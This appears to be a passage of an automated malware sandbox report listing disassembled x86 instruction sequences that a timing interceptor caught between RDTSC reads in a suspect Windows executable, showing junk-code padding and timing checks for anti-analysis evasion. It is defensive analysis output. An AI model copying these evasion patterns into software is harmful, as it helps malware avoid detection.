Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471AC6 second address: 471ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471D7D second address: 471D9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD607DA40Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471D9B second address: 471D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471EB6 second address: 471EF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA412h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAD607DA413h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD607DA414h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471EF9 second address: 471EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471EFD second address: 471F15 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FAD607DA40Bh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471F15 second address: 471F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47221B second address: 472221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 472221 second address: 472227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 472227 second address: 472231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAD607DA406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 472231 second address: 472237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4723BF second address: 4723C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4726DD second address: 4726E7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD60CE3D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 472835 second address: 472852 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD607DA40Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 472852 second address: 472856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4729B6 second address: 4729DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Dh 0x00000007 jp 00007FAD607DA406h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007FAD607DA406h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4729DB second address: 4729EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAD60CE3D76h 0x0000000a je 00007FAD60CE3D76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4716E5 second address: 4716EF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAD607DA40Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 477791 second address: 477799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 477799 second address: 4777A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FAD607DA406h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4777A9 second address: 4777BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAD60CE3D76h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FAD60CE3D76h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4777BE second address: 4777C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4764F8 second address: 476502 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAD60CE3D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476502 second address: 476524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAD607DA414h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476524 second address: 47652A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47652A second address: 476534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAD607DA406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AEA0 second address: 43AEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AEA5 second address: 41B6CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FAD607DA413h 0x00000010 lea eax, dword ptr [ebp+12486C28h] 0x00000016 cmc 0x00000017 nop 0x00000018 pushad 0x00000019 jmp 00007FAD607DA413h 0x0000001e jmp 00007FAD607DA411h 0x00000023 popad 0x00000024 push eax 0x00000025 ja 00007FAD607DA40Eh 0x0000002b jns 00007FAD607DA408h 0x00000031 nop 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FAD607DA408h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c xor dh, FFFFFFB5h 0x0000004f call dword ptr [ebp+122D2282h] 0x00000055 pushad 0x00000056 push eax 0x00000057 jl 00007FAD607DA406h 0x0000005d jnl 00007FAD607DA406h 0x00000063 pop eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 pop esi 0x00000068 push edx 0x00000069 pop edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AF9E second address: 43AFA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AFA3 second address: 43AFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AFB2 second address: 43AFB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AFB6 second address: 43AFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43AFC0 second address: 43AFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B2B3 second address: 43B2B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B2B9 second address: 43B2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B411 second address: 43B42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA410h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B42A second address: 43B42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B42E second address: 43B446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B446 second address: 43B44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B44D second address: 43B46E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B46E second address: 43B472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B472 second address: 43B4B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA412h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d jmp 00007FAD607DA410h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAD607DA410h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B4B5 second address: 43B4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B4B9 second address: 43B4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B4BF second address: 43B4E4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD60CE3D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b or dword ptr [ebp+122D3364h], edx 0x00000011 call 00007FAD60CE3D79h 0x00000016 jnp 00007FAD60CE3D97h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B4E4 second address: 43B51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA419h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAD607DA415h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B51A second address: 43B561 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAD60CE3D78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jl 00007FAD60CE3D82h 0x00000016 ja 00007FAD60CE3D7Ch 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007FAD60CE3D85h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 js 00007FAD60CE3D78h 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B638 second address: 43B63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B63D second address: 43B643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B6AC second address: 43B6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B7AE second address: 43B7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAD60CE3D7Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B7C4 second address: 43B7FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007FAD607DA410h 0x0000000e jmp 00007FAD607DA40Ah 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAD607DA418h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B7FB second address: 43B809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B809 second address: 43B819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B819 second address: 43B81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43B81D second address: 43B821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43C186 second address: 43C1A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FAD60CE3D7Ch 0x00000013 jl 00007FAD60CE3D76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43C1A8 second address: 41C194 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAD607DA410h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FAD607DA408h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 call dword ptr [ebp+122D33AAh] 0x0000002c push edx 0x0000002d jc 00007FAD607DA41Ah 0x00000033 jmp 00007FAD607DA414h 0x00000038 push esi 0x00000039 push esi 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476986 second address: 47698A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47698A second address: 4769B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FAD607DA41Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4769B3 second address: 4769D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007FAD60CE3D76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4769D2 second address: 4769D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4769D6 second address: 4769F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FAD60CE3D86h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4769F8 second address: 4769FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476B60 second address: 476BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FAD60CE3D7Eh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007FAD60CE3D88h 0x00000015 jns 00007FAD60CE3D76h 0x0000001b jmp 00007FAD60CE3D7Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FAD60CE3D83h 0x00000027 jbe 00007FAD60CE3D76h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476BAA second address: 476BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FAD607DA406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476BB6 second address: 476BBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 476EE2 second address: 476EE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47703B second address: 477093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FAD60CE3D8Fh 0x0000000e jmp 00007FAD60CE3D89h 0x00000013 jng 00007FAD60CE3D7Eh 0x00000019 pushad 0x0000001a popad 0x0000001b js 00007FAD60CE3D76h 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 jo 00007FAD60CE3D76h 0x0000002a pushad 0x0000002b popad 0x0000002c push esi 0x0000002d pop esi 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 pushad 0x00000032 jmp 00007FAD60CE3D80h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4773A0 second address: 4773AA instructions: 0x00000000 rdtsc 0x00000002 js 00007FAD607DA40Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47C686 second address: 47C6A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D86h 0x00000007 jnc 00007FAD60CE3D7Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E4AE second address: 47E4BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FAD607DA406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E4BA second address: 47E4E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FAD60CE3D7Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAD60CE3D80h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E4E2 second address: 47E4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E4E6 second address: 47E518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007FAD60CE3D9Dh 0x00000011 jc 00007FAD60CE3D78h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAD60CE3D81h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E665 second address: 47E669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E669 second address: 47E672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E672 second address: 47E69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAD607DA406h 0x0000000a jmp 00007FAD607DA419h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 47E69A second address: 47E6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 481657 second address: 481661 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD607DA406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 481661 second address: 48167D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAD60CE3D80h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48167D second address: 481682 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 480F19 second address: 480F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 480F36 second address: 480F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
